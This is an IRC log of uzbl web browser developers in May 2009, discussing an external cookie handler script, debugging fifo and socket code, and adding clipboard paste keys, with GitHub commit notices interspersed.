15:00 < Dieterbe> yeah something like that is what i had in mind. you can use different configs for different "profiles" (eg work, personal,..) so setting specific cookie settings per config would be an option
15:01 < Dieterbe> sm217: if you want to see if cookies are used, go to bbs.archlinux.org, log in and close browser.  then open browser again and go to same page. sniff the http traffic for the request
15:01 < Dieterbe> there will be some cookie related things in the http header
15:04 < sm217> Dieterbe: I'm implementing them :P
15:05 < sm217> And without closing browser? Will going to some other page work?
15:05 < sm217> Because there's no on-disk saving for now.
15:07 < Dieterbe> sm217: well, a thought that crossed my mind was to have a "cookie handler" similar to how we do download and history handling now
15:08 < sm217> Eww. Mewants libsoup one.
15:08 < Dieterbe> eg if uzbl wants to load a cookie, it calls a script with all the usual arguments, the script (implemented by user) can check requested uri, tag from uzbl instance (work, personal etc) and echo the cookie on stdout (or not)
15:08 < Dieterbe> so we can put all cookie control in the users hands
15:09 < Dieterbe> also if you want to store the cookies in a specific format, or in directories per profile etc. it's all possible
15:10 < sm217> hmm
15:10 < ruskie> mmm
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15:10 < ruskie> this should be nice
15:11 < ruskie> storing things in gpg containers and so on ;)
15:11 < sm217> yes, and let script decide to accept cookie or not, if I can.
15:11 < ruskie> I prefer to have always reject unless I hit a button and say let's store it...
15:12 < dusanx> uzbl.org is dead right now?
15:12 < Dieterbe> indeed it is dusanx :(
15:12 < sm217> I think I'll add some config vars and stuff.
15:13 < dusanx> I will change make test-config temporarily, hope to remember to turn it back before push
15:13 < Dieterbe> dusanx: ssh is also dead
15:13 < Dieterbe> scratch that
15:14 < Dieterbe> ruskie: well then.. write a cookie handling script that pops up a confirmation box or something
15:15 < sm217> I would be thankful if someone writes it :)
15:16 < Dieterbe> sm217: writes what?
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15:16 < ruskie> Dieterbe, if it'll be externalised then yeah... shouldn't be hard to do... I'll just need inspiration when it comes
15:16 < Dieterbe> ruskie: np, every external script option comes with a sample script
15:16 < sm217> Dieterbe: cookie handling script
15:17 < Dieterbe> sm217: i can write that. np
15:17 < ruskie> yeah but the way I understood cookies aren't there yet
15:17 < ruskie> or are they?
15:17 < Dieterbe> ruskie: correct
15:17 < Dieterbe> but i don't think it's very hard to do
15:17 < sm217> But I'm working on them
15:17 < sm217> Very easy actually
15:25 < sm217> it seems we can decide to save cookies or not, but in a little ugly way
15:26 < ruskie> store them temporary then hand it off to the cookie handler to do the final decission
15:26 < Dieterbe> why do it in 2 steps if it can be done in one?
15:28 < ruskie> well one is to always have the cookie set somewhere... the other is to actually let it be known what should be done with that cookie... remove or not, remove at end of session etc...
15:29 < ruskie> this way one can implement something like I don't care about cookies unless I hit a button and then I want a cookie for this site to be set
15:29 < Dieterbe> why would you write it to disk if we don't want it?
15:29 < sm217> wait.
15:29 < sm217> I see no way to decide on cookie when it's recieved
15:29 < sm217> so it _will_ be stored in memory
15:29 < ruskie> Dieterbe, to make it possible to enable it after the fact
15:30 < Dieterbe> sm217: of course. there is nothing wrongi with receiving a cookie per se
15:30 < sm217> then we can either delete it or leave it
15:30 < Dieterbe> sm217: it's only the saving/reusing that some people don't want
15:30 < sm217> ok
15:30 < Dieterbe> ruskie: you approach does not allow more then mine. it's just more complicated
15:30 < sm217> mhm
15:31 < ruskie> i.e. you go to some new site have cookies turned off, but find you like it an want to make an account and login for which you need that cookie... so take that one out of storage and use it
15:31 < ruskie> without needing to reload the site etc
15:31 < ruskie> well if this can be done either way don't really care ;)
15:32 < Dieterbe> if you want to send a cookie, you need to an http request. i don't get your "without needing to reload the site" point
15:32 < ruskie> if you don't have a cookie available
15:32 < ruskie> you first need to get that cookie
15:32 < ruskie> then you can send it back
15:32 < ruskie> correct?
15:33 < Dieterbe> yes
15:33 < ruskie> on a lot of sites when you visit you get a cookie but you don't want it just then(example)
15:33 < ruskie> this cookie can be used to login as well
15:33 < ruskie> so you have this in-memory
15:33 < ruskie> and when you want to login do send this cookie now
15:34 < ruskie> witouth needing to fetch a fresh one
15:35 < Dieterbe> i think that's quite far fetched.
15:35 < ruskie> why?
15:36 < Dieterbe> because usually you know what you want at the point where you get the cookie (eg you could have a handler script that asks you)
15:36 < ruskie> it's not unlike what firefox does with login info lately... i.e. has that bar show up and remain there until you pick something from it
15:36 < Dieterbe> and for those rare occasions where you change your mind afterwards, it's not like doing a reload is that much of a problem
15:36 < ruskie> but you don't if you're visiting a new page... and even then
15:37 < Dieterbe> so? what is wrong with pressing R (for reload) and then enter (or arrow enter) to pick the 'yes' or 'no' from the handler script?
15:37 < Dieterbe> is that too many keystrokes?
15:38 < Dieterbe> i think you are looking for a solution that has no problem
15:38 < Dieterbe> unless i'm missing something
15:40 < ruskie> hmm actually both solutions would have the same keystrokes
15:41 < ruskie> I don't think through every idea I get...
15:42 < Dieterbe> that's ok
15:42 < Dieterbe> i also propose sometimes solutions that i know are not perfect, or even not good, just to throw another point of view in the group
15:42 < Dieterbe> sm217: any input ?
15:43 < sm217> no :P
15:43 < Dieterbe> do you like my handler script idea?
15:43 < sm217> I'm sorting socks, I can't do any input. give me few minutes :)
15:44 < Dieterbe> ok
15:44 < Dieterbe> socks like in SOCKS4/5 or socks as in the things between shoes and feet?
15:44 < dusanx> how do I trim string in C?
15:44 < sm217> second one :)
15:45 < dusanx> I mean remove blanks from left and right?
15:52 < sm217> now
15:54 < sm217> what we can do with cookies: get notified on cookies change, add/remove them by hand, automatically write them to file, get all cookies, for a header out of a cookie.
15:54 < sm217> s/for/form
15:55 < ruskie> also information that the cookie has?
15:55 < sm217> ruskie: http://library.gnome.org/devel/libsoup/stable/libsoup-24-SoupCookie.html#SoupCookie
15:56 < Dieterbe> i would hand it all to the cookie handler script, which can pop up boxes or do stuff automatically. whatever the user wants
15:56  * ruskie agrees on that
15:56 < sm217> okay
15:56 < sm217> so we give cookie header
15:56 < sm217> site url
15:57 < sm217> and some event number
15:57 < Dieterbe> site url is already passed on by default
15:57 < sm217> and a fifo command that does something on specified cookie
15:57 < sm217> ok
15:58 < Dieterbe> fifo command? what would we need that for?
15:59 < sm217> to let script say: "hey! give that cookie number # as requested" or "hey! delete that cookie number # now!" :)
16:00 < sm217> http://www.picamatic.com/show/2009/05/02/05/56/3491724_800x533.JPG :D
16:00  * ruskie is still upgrading his webkitgtk before he'll be able to play with uzbl
16:02 < Dieterbe> sm217: no.. we should just pass on all (maybe) required parameters by default.  and the script manages the cookies not uzbl. so no need for fifo commands
16:02 < sm217> Dieterbe: how can script decide what to do with certain cookie? there's no linkback this way.
16:03 < sm217> *do some action on a cookie
16:03 < Dieterbe> sm217: it's up to the user to configure the script to behave as the user wants
16:03 < dusanx> Dieterbe: you will really want to try git I just pushed :D
16:04 < sm217> >.<
16:05 < sm217> Dieterbe: we need some link script <-> browser so after script has decided to remove a cookie, it tells browser to do so (example)
16:07 < Dieterbe> sm217: so you want the decision making part about cookies in the script, but the storage/retrieval part in the browser? hmmm
16:07 < Dieterbe> that's not a bad idea, but implies the user has no control over how cookies are stored (cookies.txt format, sqlite,..)
16:07 < sm217> Dieterbe: is there any other way?
16:08 < Dieterbe> sm217: yes. let the script handle the desicion making + storing + fetching
16:08 < sm217> oh.
16:08 < ruskie> yup
16:08 < Dieterbe> the browser would do "put" and "get" requests to the script, but the script would control how/when/why/how/..
16:09 < sm217> yes, but how'd the script give data back to browser?
16:09 < Dieterbe> it would echo the cookie on stdout and exit(0), or exit(1) and echo nothing
16:10 < sm217> so we can catch that from browser?
16:10 < sm217> (script's stdout)
16:11 < Dieterbe> sure
16:12 < Dieterbe> dusanx: okay, after i'm done merging robs stuff
16:12 < sm217> Dieterbe: he pushed it at last?
16:12 < sm217> okay, we're decided then
16:13 < dusanx> Dieterbe: no problem, I will be here. Make sure to start test-config, I have few examples there
16:13 < sm217> now, if you excuse me, there's left4dead free day. I'll get to coding cookies a bit later :P
16:13 < Dieterbe> dusanx: yeah looking at the commit. looks nice
16:14 < Dieterbe> sm217: no, i'm merging in the few commits he pushed.  the "cool" ones are still not pushed
16:14 < Dieterbe> sm217: any idea when you will have something workable (except the handler script)
16:15 < sm217> Dieterbe: not really, you may expect something in 5 hours or so. if not, I'll continue tomorrow
16:16 < Dieterbe> sm217: ok
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16:59 < github> uzbl: Robert Manea experimental SHA1-28d0094
16:59 < github> Initial commit
16:59 < github> http://bit.ly/BfOLS
16:59 < github> uzbl: Robert Manea experimental SHA1-174a9dd
16:59 < github> Rebased fifo/socket handling to g_io_add_watch()
16:59 < github> http://bit.ly/HNJI0
16:59 < github> uzbl: Robert Manea experimental SHA1-03780ad
16:59 < github> added a -n parameter that names the current instance and its fifos/sockets
16:59 < github> http://bit.ly/148sfY
16:59 < github> uzbl: Robert Manea experimental SHA1-dcc31c5
16:59 < github> display instance name in the title and statusbar if set
16:59 < github> http://bit.ly/Qjw1M
16:59 < github> uzbl: Dieter Plaetinck experimental SHA1-9fab871
16:59 < github> faq entry about flash/ajax etc
16:59 < github> http://bit.ly/hxlX6
16:59 < github> uzbl: Dieter Plaetinck experimental SHA1-50d7e59
16:59 < github> merge robm changes: instance naming + better socket code
16:59 < github> http://bit.ly/tJwGh
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17:06 < Dieterbe> dusanx: perfect :))
17:07 < dusanx> have you just received three messages??
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17:07 < github> uzbl: dusanx experimental SHA1-2730e98
17:07 < github> Parameter commands and backspace handling
17:07 < github> http://bit.ly/NWX3B
17:07 < github> uzbl: Dieter Plaetinck experimental SHA1-7c4b1f6
17:07 < github> Merge branch 'dus/master' into experimental
17:07 < github> http://bit.ly/ECfdj
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17:08 < dusanx> hmm when I try to send you any message I get no such nick/channel ?
17:20 < dusanx> great
17:20 < Dieterbe> 17:06:02 < Dieterbe> dusanx: perfect :))
17:20 < Dieterbe> 17:07:16 < dusanx> have you just received three messages??
17:20 < Dieterbe> only messages in pm
17:20 < Dieterbe> didn't see much here
17:20 < dusanx> Dieterbe: I had some problem with irssi, fixed
17:29 < Dieterbe> 17:19:43 <Dieterbe> we could make "insert primary x selection" and "insert secondary x selection" functions which you could bind to any key you want
17:29 < Dieterbe> 17:19:55 <Dieterbe> and if you want to use a modkey, you can do modkey+key
17:29 < Dieterbe> 17:22:27 <Dieterbe> like that?
17:29 < Dieterbe> 17:23:25 <dusanx> I was sending /msg Dieterbe: msg (semicolon was not needed and I got weirdest messages)
17:29 < Dieterbe> 17:27:14 <Dieterbe> so do you like the proposal?
17:34 < dusanx> Dieterbe: sorry, had to run, wife called to help her something
17:35 < dusanx> yes, primary and secondary are great
17:35 < dusanx> I will check docs and add them as commands
17:36 < Dieterbe> ok
17:37 < dusanx> anything new with fifo problem?
17:50 < dusanx> Dieterbe: do I will merge again from you? You have my changes in last git?
17:50 < dusanx> 'do I will' -> need to sleep lol
17:52 < dusanx> Dieterbe: I see you merged, I will merge from you
17:53 < dusanx> Dieterbe: No you did not, I will code now and merge later
17:53 < Dieterbe> yes i did
17:53 < Dieterbe> i merged from you
17:54 < Dieterbe> i already merged in your backspace and keyword things and pushed them
17:55 < Dieterbe> dusanx: you should really merge from me or you can get conflics later
17:55 < dusanx> Dieterbe: ok but you don't have my latest code up yet, will merge work?
17:58 < Dieterbe> the faster you merge, the more chance it will work
17:58 < dusanx> Dieterbe: ok, thanks
18:01 < dusanx> Dieterbe: great, got in without any problems, thanks
18:03 < Dieterbe> btw i think robs code broke sockets
18:03 < Dieterbe> at least on my system
18:03 < dusanx> hmm
18:03 < dusanx> do you have a backup? want me to look, I just merged from you
18:03 < dusanx> ?
18:06 < Dieterbe> backup? we're using version control. everything is possible
18:09 < Dieterbe> but other then the bug he introduced i like his code. since this is experimental branch i'll keep it for now
18:15 < dusanx> Dieterbe: I have to trust you on version control :) My version control? 7z a archive_name, every time when I want to pull :) Compresses all git data too so when you unpack this archive you get exact version you wanted ;)
18:15 < Dieterbe> aha. strace rocks
18:16 < Dieterbe> i see it hangs on accept()
18:16 < Dieterbe> recv(11, "uri http://www.uzbl.org/"..., 128, 0) = 24
18:16 < Dieterbe> recv(11, ""..., 128, 0)                 = 0
18:16 < Dieterbe> close(11)                               = 0
18:16 < Dieterbe> gettimeofday({1241280932, 74415}, NULL) = 0
18:16 < Dieterbe> accept(7, 
18:20 < dusanx> http://www.mozdev.org/pipermail/vimperator/2009-April/004281.html
18:22 < dusanx> interesting read, next message and next... a lot of messages :)
18:24 < Dieterbe> indeed pretty interesting
18:24 < Dieterbe> some people are obviously confused ("lack of bookmark support") but hey
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18:42 < Dieterbe> dusanx: http://www.gtk.org/api/2.6/glib/glib-IO-Channels.html#g-io-channel-read-line this function needs a " GError **error", so I do GError **error; and hand it over. but then I want to print error->message.  Why can't i do printf("Error: %s\n", &&error->message); 
18:43 < sm217> wassup?
18:45 < sm217> oh well.
18:46 < Dieterbe> sm217: working on the socket
18:46 < dusanx> Dieterbe: I am back
18:46 < dusanx> Dieterbe: just give me a sec
18:46 < sm217> Dieterbe: so you decided to move to it?
18:47 < Dieterbe> sm217: no
18:47 < Dieterbe> sm217: for now i want to have both the fifo and socket
18:48 < dusanx> Dieterbe: try (Gerror **)error->message
18:48 < dusanx> or similar, I am making up
18:50 < dusanx> Dieterbe: see new_window_cb, there is gchar** str
18:50 < ruskie> argh... m$ and ge trying to get eu swpats....
18:50 < dusanx> Dieterbe: you should be able to handle Gerror ** in similar way
18:50 < dusanx> (there is printf in this func)
18:51 < Dieterbe> uzbl.c:572: error: request for member ‘message’ in something not a structure or union
18:51 < Dieterbe> I tried GError ** and GError *
18:51 < Dieterbe> both give the same
18:51 < dusanx> gchar** str = (gchar**)entries[i].arg_data;
18:51 < dusanx> g_string_append_printf (to_execute, " --%s '%s'", entries[i].long_name, *str);
18:51 < dusanx> similar example
18:52 < dusanx> and I was pulling my hair before this worked
18:52 < Dieterbe> yeah but there youWANT a **
18:52 < Dieterbe> I just want the string
18:52 < dusanx> I don't want **, that's the cast
18:52 < dusanx> does not work without that cast
18:53 < Dieterbe> " gchar** str"
18:53 < Dieterbe> ^^
18:53 < Dieterbe> i want str
18:53 < dusanx> read two lines again, thats pointer pointer str and I printf it
18:53 < dusanx> it's str basically, with few more pointers
18:54 < sm217> wwait, Dieterbe, what if we parse a text file with cookies?
18:55 < sm217> this is way cooler methinks.
18:55 < dusanx> Dieterbe: try gchar ** str = (gchar **) GError.message;
18:55 < dusanx> or push that code, I can fix it
18:55 < Dieterbe> dusanx: never mind i just discovered something
18:55 < Dieterbe> http://m.linuxjournal.com/article/8545 here they do:
18:56 < Dieterbe> GError *err = NULL;
18:56 < Dieterbe> and pass &err :)
18:56 < Dieterbe> i will steal.. errr be inspired by that
18:56 < ruskie> rofl
18:56 < dusanx> I thought that you did that already
18:56 < dusanx> you need GError pointer to use in func call
18:57  * ruskie rebuilds webkit with pango if that will improve the fonts to not be painfull
19:00 < sm217> Dieterbe: so how about file-based cookies that just get externally parsed? this is way simplier.
19:03 < Dieterbe> sm217: well.. you need some kind of control about whether we can use the cookie or not. and that has to be handled by an external script, to allow maximum flexibilty
19:03 < Dieterbe> i think the script can be quite easy if you're fluent in bash.  i can help you out with that if you want
19:03 < Dieterbe> back in 15min
19:03 < sm217> yes, that's the cool thing
19:04 < sm217> it just saves cookies, and you do whatever you want with them
19:05 < sm217> oh, noway, file only gets parsed on startup. we can't do live editing
19:07 < ruskie> odd
19:27 < sm217> Dieterbe: you here?
19:35 < Dieterbe> sm217: yes
19:36 < Dieterbe> for me it's simple. if uzbl receives a cookie -> call cookie handler script
19:36 < sm217> I put cookies setup to settings_init, right ?
19:36 < Dieterbe> if uzbl wants to load a page -> call cookie handler script
19:37 < Dieterbe> define "cookies setup"
19:37 < sm217> code to check if they're anabled and if user wants to save them to file
19:38 < sm217> uh, let me paste it
19:38 < sm217> http://gist.github.com/105634
19:42 < Dieterbe> i think communication between us is really broken.  uzbl should not *manage* cookies. it should only send and receive them.  for storing and retrieving to disk, it should do put and get requests to a cookie handler script
19:42 < Dieterbe> the only *option* in the config is a cookie_handler, similar to download_handler and history_handler
19:42 < ruskie> :)
19:42 < sm217> okay :V
19:43 < sm217> I think I killed too much zombies today.
19:48 < Dieterbe> i think you _are_ a zombie :P
19:48 < sm217> oh D:
19:48 < sm217> then I will _eat_ you like a cookie :P
19:50 < sm217> to be sure: function that handles gtk signal must have same parameters that signal gives?
19:50 < Dieterbe> no
19:51 < sm217> the I understood it wrong, will go and read.
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19:52 < github> uzbl: Dieter Plaetinck experimental SHA1-75f1260
19:52 < github> 2 more faq entries
19:52 < github> http://bit.ly/EsVEY
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19:52 < Dieterbe> sm217: why do you need signals
19:53 < sm217> Dieterbe: SoupCookieJar emits "changed" signal when cookie is added, removed or deleted.
19:54 < sm217> so when we get a cookie, we can send a "put" request to our handler
19:54 < Dieterbe> aha
19:54 < Dieterbe> btw i don't know much about signals either
19:55 < sm217> what about get request...
19:55 < Dieterbe> i usually just look at other places in the code
19:55 < Dieterbe> what about it?
19:56 < sm217> not sure how to do it.
19:56 < Dieterbe> doesn't webkit/soup take care of that?
19:57 < sm217> well, I am not sure how to catch the moment when a cookie is requested
19:57 < sm217> let me read a bit.
20:01 < sm217> well
20:01 < sm217> we do not check if a cookie _was_ requested
20:02 < sm217> we check if there are cookies for some url we're going to load and should we send them
20:04 < sm217> run_command will execute command with args and return true or false on positive or negative return value?
20:09 < Dieterbe> yep
20:09 < Dieterbe> exit(0) -> true, false otherwise
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20:11 < sm217> aha.
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20:17 < sm217> Dieterbe: what about changing cookies? "change" request?
20:18 < Dieterbe> call handler
20:18 < sm217> ok.
20:19 < sm217> also, we need to agree on what handler recieves
20:20 < Dieterbe> everything it could need
20:20 < sm217> :)
20:20 < Dieterbe> ok but seriously
20:20 < Dieterbe> what do you suggest/doubt about?
20:21 < sm217> i think on put request it gets self request, uri where storing cookie was requested and self cookie as a header string.
20:22 < sm217> but, on get request, how do we transef cookie header from script to uzbl?
20:22 < sm217> (if handler finds a cookie and decides to send it)
20:23 < sm217> we can only get true or false :|
20:23 < Dieterbe> aha
20:24 < Dieterbe> fear not, the answer is near
20:24 < sm217> D:
20:25  * sm217 runs around screaming AAAAA!!!
20:25 < Dieterbe> you see how run_command issues a g_spawn_command_line_async () ?. well, we need a 2nd function that calls g_spawn_command_line_sync ()
20:25 < Dieterbe> then you can catch the stdout
20:25 < Dieterbe> see http://library.gnome.org/devel/glib/stable/glib-Spawning-Processes.html#g-spawn-command-line-async
20:25 < sm217> okay
20:25 < Dieterbe> call them run_command_async and run_command_sync or something
20:26 < sm217> ok, thanks
20:29 < sm217> I make it return just stdout or everythig g_spawn_command_line_sync returns?
20:30 < sm217> brb, break
20:31 < Dieterbe> make it return the boolean that g_spawn_command_line_sync returns
20:43 < ruskie> hmm I guess font settings aren't yet supported?
20:44 < Dieterbe> correct
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21:19 < Dieterbe> yes i fixed it
21:19 < Dieterbe> and omg it was something so stupd
21:19 < dusanx> string? pointer?
21:21 < Dieterbe> in rob code he did a for loop, but the for was not needed
21:21 < Dieterbe> as the callback will be called by glib automatically when there is something to read
21:22 < dusanx> argh
21:22 < Dieterbe> so the loop got stuck in accept() because there was nothing to read in the 2nd iteration
21:22 < dusanx> simple but took day to solve :(
21:22 < dusanx> Dieterbe: I am adding clipboard_paste and primary_paste functions, ok?
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21:25 < Dieterbe> sure but make your names consistent
21:25 < Dieterbe> what about paste_primary and paste_secondary?
21:25 < dusanx> Dieterbe: fine by me
21:26 < dusanx> Dieterbe: this may be confusing, paste_clipboard and paste_primary may be better?
21:26 < Dieterbe> i disagree :)
21:27 < Dieterbe> no wait
21:27 < Dieterbe> yeah do it like that
21:27 < Dieterbe> :)
21:27 < dusanx> that are exactly what two clipboards are called...
21:27 < ruskie> lol someone already thinking about making a qt version of uzbl
21:29 < Dieterbe> OMG dusanx . fifo works again o_O
21:29 < Dieterbe> no wait
21:29 < Dieterbe> it worked 2 times
21:29 < Dieterbe> :(
21:30 < dusanx> :(
21:30 < dusanx> wait, fifo worked with you few days ago with old old code?
21:32 < ruskie> hmm there's definately a difference between font rendering between midori and uzbl
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21:34 < github> uzbl: Dieter Plaetinck experimental SHA1-6880bcf
21:34 < github> fix for broken socket. works fine again now :)
21:34 < github> http://bit.ly/yxhVR
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21:35 < Dieterbe> ruskie: can you give a good example site? to see the difference
21:35 < ruskie> I tried it on www.freshmeat.net side by side on the same display
21:36 < ruskie> can't quite tell what's the diff but the rendering in uzbl seems to hurt my eyes
21:36 < ruskie> I'm guessing if/when font handling get's implemented this could probably go away
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21:38 < Dieterbe> i don't see any difference
21:38 < dusanx> ruskie: can you scrot both renderings on same screen, side by side and upload somewhere so we can look?
21:39 < ruskie> yeah I'll first try wipping all midori settings
21:40 < ruskie> hmm that brings it up to the same level
21:40 < ruskie> I guess I'll need to wait for the font handling to be able to use it
21:41 < ruskie> anyway this is so my dream browser
21:42 < Dieterbe> so what settings did you have in midori then?
21:42 < ruskie> quite a few different ones
21:42 < ruskie> among them a different font(which I forgot I had)
21:43 < ruskie> now with the default setup both browsers hurt my eyes
21:43 < Dieterbe> :)
21:43 < ruskie> anyway source mage gnu/linux now has a uzbl spell ;)
21:43 < ruskie> erm s/a/an/
21:43 < ruskie> :)
21:44 < dusanx> wow
21:44 < dusanx> nice
21:44 < ruskie> if I find something I like I add it
21:44 < ruskie> as do most other devs
21:47 < ruskie> I've been considering what browser I could sufficiently gut to get it to a similar state of a fullscreen window and an external goto window with bookmarks/smartbookmarks etc...
21:47 < ruskie> now I don't need to ;)
21:47 < ruskie> just need to write the script ;)
21:47 < ruskie> to bad my energy is an all-time-low today
21:48 < Dieterbe> lazy ass bitch :)
21:48 < ruskie> rofl
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21:48 < ruskie> I do have other things to do other than this ;)
21:48 < ruskie> not to mention it's 2150 around here
21:54 < Dieterbe> aha!
21:55 < Dieterbe> dusanx: the fifo was opened as r+. this has to be r
21:55 < dusanx> lol
22:00 < dusanx> I am going to sleep, see you all tomorrow :)
22:02 < Dieterbe> bye
22:04 < ruskie> same here
22:04 < ruskie> and maybe an inspirational particle(s) will hit me and I'll write up my own bookmarks manager... though doubtful
22:05 < Dieterbe> ruskie: making a bookmark manager is EASY
22:05 < Dieterbe> there exist already plenty
22:05 < ruskie> Dieterbe, not the kind I want
22:05 < Dieterbe> vim. emacs, nan, joe, .. :P
22:05 < Dieterbe> oh
22:06 < ruskie> or to be specific it'll be a goto window that reads a particular bookmark format
22:07 < ruskie> I want to support plain bookmarks, aliases(el-reg -> http://www.theregister.co.uk), smart bookmarks(fms uzbl -> http://freshmeat.net/search/?q=uzbl&section=projects&Go.x=0&Go.y=0)
22:07 < ruskie> it's been on my todo for the last two months
22:07 < Dieterbe> uhm you can already do all of those
22:07 < Dieterbe> with uzbl
22:08 < ruskie> also the bookmarks will be gpg encrypted :)
22:08 < ruskie> really?
22:08 < ruskie> I haven't looked much into it
22:08 < Dieterbe> yes, all of it. except the gpg encryption thing
22:08 < Dieterbe> hold on i'll show you
22:09 < ruskie> also I plan on not using dmenu or zenity ;)
22:09 < Dieterbe> http://github.com/Dieterbe/uzbl/blob/75f12603a6291bf1ee6a4656da6708829b89c084/examples/configs/sampleconfig
22:09 < Dieterbe> look
22:09 < Dieterbe> gh = uri http://www.uzbl.org
22:09 < Dieterbe> there's your alias
22:09 < Dieterbe> you can do any single char or multichar command
22:10 < ruskie> but that's a command
22:10 < Dieterbe> and you can also do keywords, but that's not in the sample config yet
22:10 < ruskie> not a location entry
22:10 < Dieterbe> if you type gh it will go to the corresponding url
22:10 < Dieterbe> is that not what you want?
22:11 < ruskie> I plan on having a goto box bound to ctrl+alt+w in my WM and ctrl+i in uzbl(if possible) to launch that same thing
22:11 < Dieterbe> you can make greg = uri http://www.theregister.co.uk
22:11 < Dieterbe> ah
22:11 < Dieterbe> i see
22:11 < ruskie> and there'll be regex in there as well
22:12 < ruskie> i.e. fms \(.*\) -> http://freshmeat.net/search/?q=\1&section=projects&Go.x=0&Go.y=0
22:12 < ruskie> and other more complex things
22:12 < ruskie> also plan on adding rss bookmarks to the whole thing :)
22:12 < ruskie> basically it will be the ultimate location entry app and nothing else ;)
22:13 < ruskie> using gtk-server
22:13 < bstronga> command "follow_link_new_tab" not understood. ignoring. <- ?
22:13 < Dieterbe> ok ruskie , i'm curious
22:14 < ruskie> and need to make a download handler that uses dzen2 to notify on completion along with aria2c as the client ;)
22:14 < ruskie> Dieterbe, I have tons of ideas... it's time or energy I tend to lack most of the time
22:14 < ruskie> but I will write this up
22:14 < ruskie> it just takes me a while for my mind to piece togheter all the pieces and start writing code
22:15 < ruskie> though this will probably one of the simplest script I've done
22:15 < Dieterbe> the dzen notification thing is easy  :)
22:15 < ruskie> yeah
22:16 < ruskie> http://repo.or.cz/w/virtuo.git?a=blob;f=virtuo;h=cc6f32d295d36fdd96728ce3e18fd5d82ee405b4;hb=HEAD <-- one of my more complex things
22:16 < bstronga> stupid question, is follow_link not working yet?
22:16 < ruskie> anyway need sleep so off...
22:17 < Dieterbe> ok see ya ruskie 
22:17 < Dieterbe> bstronga: correct
22:18 < bstronga> ah ok :>
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22:55 < github> uzbl: Dieter Plaetinck experimental SHA1-ef63c46
22:55 < github> some fixes for socket & fifo. fifo is still broken though
22:55 < github> http://bit.ly/NvvjJ
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23:01 < github> uzbl: Dieter Plaetinck experimental SHA1-c77c615
23:01 < github> make output from bindings nicer
23:01 < github> http://bit.ly/Mle7X
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23:08 < github> uzbl: Dieter Plaetinck experimental SHA1-b9bf66f
23:08 < github> scripts that aid in fifo debugging
23:08 < github> http://bit.ly/PcOVj
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23:24 < Dieterbe> anydot: you alive?
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00:00 < anydot> Dieterbe: Yep.
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00:29 < barrucadu> Hello
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01:41 < GNU\caust1c> u will implement tabs? :(
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07:53 < dusanx> 'morning :)
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09:30 < ruskie> good morrow all
09:40 < dusanx> hi
09:42 < Dieterbe> morning dudes
09:43 < Dieterbe> anydot: what about now still alive? can you check out my latest experimental? i partially improved the fifo code yesterday, but now i noticed that it blocks on mkfifo() as long as noone opens it for writing
09:46 < dusanx> morning Dieterbe
09:47 < Dieterbe> hey
09:47 < Dieterbe> i don't get it. how the old code could just do mkfifo() and not block
09:48 < Dieterbe> i looked it up, and even the manpage says it blocks until someone opens it for writing
09:48 < dusanx> r+ ?
09:48 < Dieterbe> oh..
09:48 < Dieterbe> that could be it
09:49 < dusanx> insert from clipboard will be INSERT key, insert from primary will be shift+insert
09:50 < dusanx> any objections?
09:51 < Dieterbe> sounds good. but is there a specific reason why thekeys are fixed?
09:51 < dusanx> they are mapped as esc and enter - use gdk_insert definitions, we can't assign them in config
09:52 < dusanx> so they are 'special' keys and they don't get in the way while typing
09:52 < dusanx> same as GDK_Escape and GDK_Return
09:53 < dusanx> we need any other key for typing so we can't use regular keys
09:54 < dusanx> I am also considering if we need paste_clipboard and paste_primary commands, they only make sense in key processing loop
09:54 < Dieterbe> yeah indeed, except maybe if you want to paste in a html frm
09:54 < Dieterbe> form*
09:54 < dusanx> so I might add that code right there without using commands
09:54 < Dieterbe> i have to eat notw. see you soon
09:55 < dusanx> Dieterbe: you are then in insert mode and webkit takes care of paste processing
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10:28 < Dieterbe> dusanx: right
10:28 < Dieterbe> dusanx: are there keybinds to do inserting from clipboard and from primary when in webkit?
10:45 < dusanx> Dieterbe: I am not sure but if they are not we will have to add our keybinding for insert mode anyway
10:45 < Dieterbe> yea
10:45 < Dieterbe> btw
10:45 < Dieterbe> http://pastebin.ca/1411015
10:45 < dusanx> ctrl-v works in insert mode, that's for sure
10:45 < Dieterbe> i added printf("triggered\n"); to the fifo callback
10:46 < Dieterbe> and i can see the callback is only triggered the first time :/
10:46 < dusanx> Dieterbe: ok, let me finish this in next 30 minutes, you can push git and I can pull and try to fix it
10:47 < dusanx> or that already works here well? =))
10:58 < anydot> Dieterbe: mkfifo can't block
11:01 < Dieterbe> i think i just fixed my fifo problem
11:01 < Dieterbe> at least it works now
11:01 < Dieterbe> and i don't know why
11:02 < dusanx> Dieterbe: modified code or your setup?
11:02 < Dieterbe> code
11:04 < Dieterbe> and now it doesn't work anymore :(
11:05 < dusanx> Dieterbe: I have just pushed version where insert works. Can you pull and then push so I can look at the latest code? Might spot something.
11:05 < Dieterbe> it's very weird
11:05 < Dieterbe> if i put 2 printf() calls it works
11:06 < Dieterbe> if i remove the printf's it fails again
11:06 < Dieterbe> i'll push
11:07 < dusanx> Dieterbe: no problem, I am free to look
11:11 < Dieterbe> dusanx: am i missing something or is the diff of the cmdlist struct just an extra space everywhere? http://github.com/dusanx/uzbl/commit/bf2026cfd20fc2f0a8ea67f6a81816734f625473
11:15 < Dieterbe> dusanx: merged and pushed
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11:15 < github> uzbl: dusanx experimental SHA1-bf2026c
11:15 < github> Insert = paste clipboard, shitf+insert = paste primary
11:15 < github> http://bit.ly/XG9ft
11:15 < github> uzbl: Dieter Plaetinck experimental SHA1-c03a12d
11:15 < github> Merge branch 'dus/master' into experimental
11:15 < github> http://bit.ly/fqrO1
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11:16 < dusanx> Dieterbe: you are right, my bad. I was adding paste_clipboard and paste_primary functions, there was not enough space so I added one. Later I removed this two functions but space stayed.
11:17 < dusanx> Dieterbe: getting your code now
11:17 < Dieterbe> dusanx: ok
11:17 < Dieterbe> dusanx: look at the 2 printf's in the control_fifo
11:17 < Dieterbe> as long as i have them, it works
11:17 < Dieterbe> if i remove them, the fifo only works once
11:17 < dusanx> Dieterbe: I will try that test script with and without them
11:17 < Dieterbe> maybe corrupted stack or something?
11:18 < dusanx> just give me 10 minutes ;)
11:18 < Dieterbe> ok
11:18 < Dieterbe> your pasting code works great btw
11:18 < dusanx> Dieterbe: and I just used :o <shift-insert><enter> to open github link you added here :) It's powerful :)
11:20 < dusanx> merged without problems, testing...
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11:21 < github> uzbl: Dieter Plaetinck experimental SHA1-8398720
11:21 < github> checklist updates
11:21 < github> http://bit.ly/ZQKDT
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11:22 < dusanx> Dieterbe: I should test fifo, right?
11:24 < Dieterbe> yea
